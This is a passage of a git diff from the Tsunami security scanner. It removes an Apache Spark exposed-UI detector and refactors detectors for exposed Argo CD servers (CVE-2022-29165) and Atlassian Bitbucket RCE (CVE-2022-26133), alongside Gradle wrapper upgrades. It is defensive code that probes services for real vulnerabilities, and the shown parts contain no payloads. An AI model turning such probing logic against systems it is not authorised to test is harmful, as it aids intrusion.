"ApacheSparksExposedWebuiVulnDetector", - version = "0.1", - description = - "This plugin detects an exposed Apache Spark Web UI which discloses information about the" - + " Apache Spark environment and its' tasks.", - author = "Timo Mueller (work@mtimo.de)", - bootstrapModule = ApacheSparksExposedWebuiVulnDetectorBootstrapModule.class) -public final class ApacheSparksExposedWebuiVulnDetector implements VulnDetector { - - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - - private static final Pattern VULNERABILITY_RESPONSE_PATTERN_TENTATIVE = - Pattern.compile("Spark "); - private static final Pattern VULNERABILITY_RESPONSE_PATTERN_CONFIRMATION = - Pattern.compile("onClick=\"collapseTable\\('collapse-aggregated-"); - - @Inject - ApacheSparksExposedWebuiVulnDetector( - @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient); - this.payloadGenerator = checkNotNull(payloadGenerator); - } - - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) { - logger.atInfo().log("ApacheSparksExposedWebuiVulnDetector starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - private boolean isServiceVulnerable(NetworkService networkService) { - String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); - - try { - HttpResponse response = - httpClient.send( - get(targetUri) - .setHeaders( - HttpHeaders.builder().addHeader("User-Agent", "TSUNAMI_SCANNER").build()) - .build(), - networkService); - if (response.status() == HttpStatus.OK && response.bodyString().isPresent()) { - String responseBody = response.bodyString().get(); - if (VULNERABILITY_RESPONSE_PATTERN_TENTATIVE.matcher(responseBody).find() - && VULNERABILITY_RESPONSE_PATTERN_CONFIRMATION.matcher(responseBody).find()) { - return true; - } - } - } catch (IOException e) { - logger.atWarning().withCause(e).log("Unable to query '%s'.", targetUri); - } - - return false; - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("Apache_Spark_Exposed_WebUI")) - .setSeverity(Severity.MEDIUM) - .setTitle( - "Exposed Apache Spark UI which discloses information about the Apache Spark" - + " environment and its' tasks.") - .setDescription( - "An exposed Apache Spark Web UI provides attackers information about the Apache" - + " Spark UI and its' tasks. The disclosed information might leak other" - + " configured Apache Spark nodes and the output of previously run tasks." - + " Depending on the task, the output might contain sensitive information" - + " which was logged during the task execution.") - .setRecommendation( - "Don't expose the Apache Spark Web UI to unauthenticated attackers.")) - .build(); - } -} diff --git a/community/detectors/apache_spark_exposed_webui/src/test/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorTest.java b/community/detectors/apache_spark_exposed_webui/src/test/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorTest.java deleted file mode 100644 index 6d3d05ceb..000000000 --- a/community/detectors/apache_spark_exposed_webui/src/test/java/com/google/tsunami/plugins/detectors/apachesparksexposedwebui/ApacheSparksExposedWebuiVulnDetectorTest.java +++ /dev/null @@ -1,176 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.tsunami.plugins.detectors.apachesparksexposedwebui; - -import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkEndpoint; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** tests for {@link ApacheSparksExposedWebuiVulnDetector}. */ -@RunWith(JUnit4.class) -public final class ApacheSparksExposedWebuiVulnDetectorTest { - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); - - @Inject private ApacheSparksExposedWebuiVulnDetector detector; - private MockWebServer mockWebServer; - private MockWebServer mockCallbackServer; - - @Before - public void setUp() throws IOException { - mockWebServer = new MockWebServer(); - Guice.createInjector( - new FakeUtcClockModule(fakeUtcClock), - new HttpClientModule.Builder().build(), - FakePayloadGeneratorModule.builder().build(), - new ApacheSparksExposedWebuiVulnDetectorBootstrapModule()) - .injectMembers(this); - } - - @After - public void tearDown() throws Exception { - mockWebServer.shutdown(); - } - - @Test - public void detect_ifVulnerable_reportsVuln() throws IOException { - mockWebServer.setDispatcher(new VulnerableEndpointDispatcher()); - mockWebServer.start(); - - NetworkService service = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build(); - - TargetInfo targetInfo = - TargetInfo.newBuilder() - .addNetworkEndpoints(forHostname(mockWebServer.getHostName())) - .build(); - - DetectionReportList detectionReports = - detector.detect( - buildTargetInfo(forHostname(mockWebServer.getHostName())), ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()) - .containsExactly( - DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(service) - .setDetectionTimestamp( - Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("Apache_Spark_Exposed_WebUI")) - .setSeverity(Severity.MEDIUM) - .setTitle( - "Exposed Apache Spark UI which discloses information about the Apache" - + " Spark environment and its' tasks.") - .setDescription( - "An exposed Apache Spark Web UI provides attackers information about" - + " the Apache Spark UI and its' tasks. The disclosed information" - + " might leak other configured Apache Spark nodes and the output" - + " of previously run tasks. Depending on the task, the output" - + " might contain sensitive information which was logged during the" - + " task execution.") - .setRecommendation( - "Don't expose the Apache Spark Web UI to unauthenticated attackers.")) - .build()); - } - - @Test - public void detect_ifNotVulnerable_doNotReportsVuln() throws IOException { - mockWebServer.setDispatcher(new SafeEndpointDispatcher()); - mockWebServer.start(); - - NetworkService service = - NetworkService.newBuilder() - .setNetworkEndpoint( - forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) - .setTransportProtocol(TransportProtocol.TCP) - .setServiceName("http") - .build(); - - DetectionReportList detectionReports = - detector.detect( - buildTargetInfo(forHostname(mockWebServer.getHostName())), ImmutableList.of(service)); - - assertThat(detectionReports.getDetectionReportsList()).isEmpty(); - } - - private static final class VulnerableEndpointDispatcher extends Dispatcher { - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - return new MockResponse() - .setResponseCode(HttpStatus.OK.code()) - .setBody( - "<title>Spark Worker at 192.168.48.3:36075"); - } - } - - private static final class SafeEndpointDispatcher extends Dispatcher { - - @Override - public MockResponse dispatch(RecordedRequest recordedRequest) { - return new MockResponse().setResponseCode(HttpStatus.FORBIDDEN.code()).setBody(""); - } - } - - private static TargetInfo buildTargetInfo(NetworkEndpoint networkEndpoint) { - return TargetInfo.newBuilder().addNetworkEndpoints(networkEndpoint).build(); - } -} diff --git a/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.jar b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.properties b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/argocd_exposed_ui/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/argocd_exposed_ui/gradlew b/community/detectors/argocd_exposed_ui/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/argocd_exposed_ui/gradlew +++ b/community/detectors/argocd_exposed_ui/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/argocd_exposed_ui/gradlew.bat b/community/detectors/argocd_exposed_ui/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/argocd_exposed_ui/gradlew.bat +++ b/community/detectors/argocd_exposed_ui/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java index 8c44676e6..377636d14 100644 --- a/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java +++ b/community/detectors/argocd_exposed_ui/src/main/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetector.java @@ -35,12 +35,12 @@ import com.google.tsunami.common.net.http.HttpHeaders; import com.google.tsunami.common.net.http.HttpResponse; import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; import com.google.tsunami.plugin.annotations.PluginInfo; import com.google.tsunami.plugin.payload.NotImplementedException; import com.google.tsunami.plugin.payload.Payload; import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; import com.google.tsunami.plugins.detectors.exposedui.argocd.Annotations.OobSleepDuration; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionReportList; @@ -116,16 +116,49 @@ public final class ExposedArgoCdApiDetector implements VulnDetector { @UtcClock Clock utcClock, PayloadGenerator payloadGenerator, @OobSleepDuration int oobSleepDuration) { - this.httpClient = - checkNotNull(httpClient) - .modify() - .setFollowRedirects(true) - .build(); + this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(true).build(); this.utcClock = checkNotNull(utcClock); this.payloadGenerator = checkNotNull(payloadGenerator); this.oobSleepDuration = oobSleepDuration; } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + // The instance is publicly exposed. + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("EXPOSED_ARGOCD_API_SERVER")) + .setSeverity(Severity.CRITICAL) + .setTitle("Argo CD API server Exposed") + .setDescription( + "Argo CD API server is publicly exposed without any authentication. It allows" + + " attackers to access kubernetes clusters. Attackers can change parameters of" + + " clusters and possibly compromise it.") + .setRecommendation("Please disable public access to your Argo CD API server.") + .build(), + // The instance is vulnerable to CVE-2022-29165. + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("VULNERABLE_ARGOCD_API_SERVER")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-29165")) + .setSeverity(Severity.CRITICAL) + .setTitle("Argo CD API server Exposed") + .setDescription( + "Argo CD API server is vulnerable to CVE-2022-29165. It allows attackers to access" + + " kubernetes clusters. Attackers can change parameters of clusters and" + + " possibly compromise it.") + .setRecommendation( + "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and 2.1.15. Please update Argo" + + " CD to these versions and higher.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -143,65 +176,22 @@ public DetectionReportList detect( // Argo CD API server is exposed publicly without any authentication, and it is // confirmed by receiving an out-of-band callback detectionReport.addDetectionReports( - buildDetectionReport( - targetInfo, - networkService, - "Argo CD API server is misconfigured. " - + "The API server is not authenticated. " - + "All applications can be accessed by the public and therefore can be " - + "modified resulting in all application instances being compromised. " - + "The Argo CD UI does not support executing OS commands " - + "in the hosting machine at this time. " - + "We detected this vulnerable Argo CD API server by creating " - + "a test application and receiving out-of-band callback", - "Please disable public access to your Argo CD API server.", - Severity.CRITICAL)); + buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(0))); } else if (isServiceVulnerableToAuthBypass(networkService, true)) { // Argo CD API server is vulnerable to CVE-2022-29165, and it is confirmed by // receiving an out-of-band callback detectionReport.addDetectionReports( - buildDetectionReport( - targetInfo, - networkService, - "Argo CD API server is vulnerable to CVE-2022-29165. The authentication of" - + " Argo CD API server can be bypassed and All applications can be" - + " accessed by public and therefore can be modified resulting in all" - + " application instances being compromised. The Argo CD UI does not" - + " support executing OS commands in the hosting machine at this time." - + " We detected this vulnerable Argo CD API server by receiving a HTTP" - + " response from an endpoint that needs authentication", - "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" - + " 2.1.15. Please update Argo CD to these versions and higher.", - Severity.CRITICAL)); + buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(1))); } else if (isServicePubliclyExposed(networkService, false)) { // Argo CD API server is exposed publicly without any authentication, and it is // confirmed by receiving matching a http response body detectionReport.addDetectionReports( - buildDetectionReport( - targetInfo, - networkService, - "Argo CD API server is misconfigured. The API server is not" - + " authenticated.We can't confirm that this API server has an admin" - + " role because we can't create a new application and receive an" - + " out-of-band callback from it, but we are able to receive some" - + " endpoint data without authentication", - "Please disable public access to your Argo CD API server.", - Severity.HIGH)); + buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(0))); } else if (isServiceVulnerableToAuthBypass(networkService, false)) { // Argo CD API server is vulnerable to CVE-2022-29165, and it is // confirmed by receiving matching a http response body detectionReport.addDetectionReports( - buildDetectionReport( - targetInfo, - networkService, - "Argo CD API server is vulnerable to CVE-2022-29165. The authentication can" - + " be bypassed. We can't confirm that this API server has an admin" - + " role because we can't create a new application and receive an" - + " out-of-band callback from it, but we are able to receive some" - + " endpoint data without authentication", - "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" - + " 2.1.15. Please update Argo CD to these versions and higher.", - Severity.HIGH)); + buildDetectionReport(targetInfo, networkService, this.getAdvisories().get(1))); } }); return detectionReport.build(); @@ -407,26 +397,13 @@ private Payload getTsunamiCallbackHttpPayload() { } private DetectionReport buildDetectionReport( - TargetInfo targetInfo, - NetworkService vulnerableNetworkService, - String description, - String recommendation, - Severity severity) { + TargetInfo targetInfo, NetworkService vulnerableNetworkService, Vulnerability vulnerability) { return DetectionReport.newBuilder() .setTargetInfo(targetInfo) .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("ARGOCD_API_SERVER_EXPOSED")) - .setSeverity(severity) - .setTitle("Argo CD API server Exposed") - .setDescription(description) - .setRecommendation(recommendation)) + .setVulnerability(vulnerability) .build(); } } diff --git a/community/detectors/argocd_exposed_ui/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorTest.java b/community/detectors/argocd_exposed_ui/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorTest.java index 56625c624..76b793cd9 100644 --- a/community/detectors/argocd_exposed_ui/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorTest.java +++ b/community/detectors/argocd_exposed_ui/src/test/java/com/google/tsunami/plugins/detectors/exposedui/argocd/ExposedArgoCdApiDetectorTest.java @@ -37,10 +37,7 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.security.SecureRandom; @@ -54,9 +51,9 @@ import okhttp3.mockwebserver.RecordedRequest; import org.junit.After; import org.junit.Before; +import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; -import org.junit.Test; /** Unit tests for {@link ExposedArgoCdApiDetector}. */ @RunWith(JUnit4.class) @@ -124,26 +121,7 @@ public void detect_whenVulnerable_returnsVulnerability_Cve202229165_Oob() throws .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("ARGOCD_API_SERVER_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Argo CD API server Exposed") - .setDescription( - "Argo CD API server is vulnerable to CVE-2022-29165. The authentication" - + " of Argo CD API server can be bypassed and All applications can" - + " be accessed by public and therefore can be modified resulting" - + " in all application instances being compromised. The Argo CD UI" - + " does not support executing OS commands in the hosting machine" - + " at this time. We detected this vulnerable Argo CD API server by" - + " receiving a HTTP response from an endpoint that needs" - + " authentication") - .setRecommendation( - "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" - + " 2.1.15. Please update Argo CD to these versions and higher.")) + .setVulnerability(detector.getAdvisories().get(1)) .build()); Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(5); Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); @@ -167,23 +145,7 @@ public void detect_whenVulnerable_returnsVulnerability_Cve202229165_Resp_Matchin .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("ARGOCD_API_SERVER_EXPOSED")) - .setSeverity(Severity.HIGH) - .setTitle("Argo CD API server Exposed") - .setDescription( - "Argo CD API server is vulnerable to CVE-2022-29165. The authentication" - + " can be bypassed. We can't confirm that this API server has an" - + " admin role because we can't create a new application and" - + " receive an out-of-band callback from it, but we are able to" - + " receive some endpoint data without authentication") - .setRecommendation( - "Patched versions are 2.1.15, and 2.3.4, and 2.2.9, and" - + " 2.1.15. Please update Argo CD to these versions and higher.")) + .setVulnerability(detector.getAdvisories().get(1)) .build()); Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(4); Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); @@ -206,24 +168,7 @@ public void detect_whenVulnerable_returnsVulnerability_Exposed_Ui_Oob() throws I .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("ARGOCD_API_SERVER_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Argo CD API server Exposed") - .setDescription( - "Argo CD API server is misconfigured. The API server is not" - + " authenticated. All applications can be accessed by the public" - + " and therefore can be modified resulting in all application" - + " instances being compromised. The Argo CD UI does not support" - + " executing OS commands in the hosting machine at this time. We" - + " detected this vulnerable Argo CD API server by creating a test" - + " application and receiving out-of-band callback") - .setRecommendation( - "Please disable public access to your Argo CD API server.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(4); Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); @@ -247,22 +192,7 @@ public void detect_whenVulnerable_returnsVulnerability_Exposed_Ui_Resp_Matching( .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("ARGOCD_API_SERVER_EXPOSED")) - .setSeverity(Severity.HIGH) - .setTitle("Argo CD API server Exposed") - .setDescription( - "Argo CD API server is misconfigured. The API server is not" - + " authenticated.We can't confirm that this API server has an" - + " admin role because we can't create a new application and" - + " receive an out-of-band callback from it, but we are able to" - + " receive some endpoint data without authentication") - .setRecommendation( - "Please disable public access to your Argo CD API server.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(3); Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(0); diff --git a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133Detector.java b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133Detector.java index 373cb12e9..e0c4bf346 100644 --- a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133Detector.java +++ b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133Detector.java @@ -103,6 +103,27 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_26133")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-26133")) + .setSeverity(Severity.CRITICAL) + .setTitle("Atlassian Bitbucket DC RCE (CVE-2022-26133)") + .setDescription( + "SharedSecretClusterAuthenticator in Atlassian Bitbucket Data Center versions" + + " 5.14.0 and later before 7.6.14, 7.7.0 and later prior to 7.17.6," + + " 7.18.0 and later prior to 7.18.4, 7.19.0 and later prior" + + " to 7.19.4, and 7.20.0 allow a remote, unauthenticated attacker to " + + "execute arbitrary code via Java deserialization.") + .build()); + } + private static boolean isNimOrUnknownService(NetworkService networkService) { return networkService.getServiceName().isEmpty() || NetworkServiceUtils.getServiceName(networkService).equals("nim") @@ -217,20 +238,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_26133")) - .setSeverity(Severity.CRITICAL) - .setTitle("Atlassian Bitbucket DC RCE (CVE-2022-26133)") - .setDescription( - "SharedSecretClusterAuthenticator in Atlassian Bitbucket Data Center versions" - + " 5.14.0 and later before 7.6.14, 7.7.0 and later prior to 7.17.6," - + " 7.18.0 and later prior to 7.18.4, 7.19.0 and later prior" - + " to 7.19.4, and 7.20.0 allow a remote, unauthenticated attacker to " - + "execute arbitrary code via Java deserialization.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } diff --git a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithCallbackServerTest.java b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithCallbackServerTest.java index d453221d0..0caca54c3 100644 --- a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithCallbackServerTest.java +++ b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithCallbackServerTest.java @@ -104,7 +104,8 @@ public void detect_whenVulnerable_returnsVulnerability() throws Exception { DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .containsExactly(TestHelper.buildValidDetectionReport(targetInfo, service, fakeUtcClock)); + .containsExactly( + TestHelper.buildValidDetectionReport(detector, targetInfo, service, fakeUtcClock)); assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); } diff --git a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithoutCallbackServerTest.java b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithoutCallbackServerTest.java index 00ae26ec9..11674ecd6 100644 --- a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithoutCallbackServerTest.java +++ b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/Cve202226133DetectorWithoutCallbackServerTest.java @@ -97,7 +97,8 @@ public void detect_whenVulnerable_returnsVulnerability() throws Exception { DetectionReportList detectionReports = 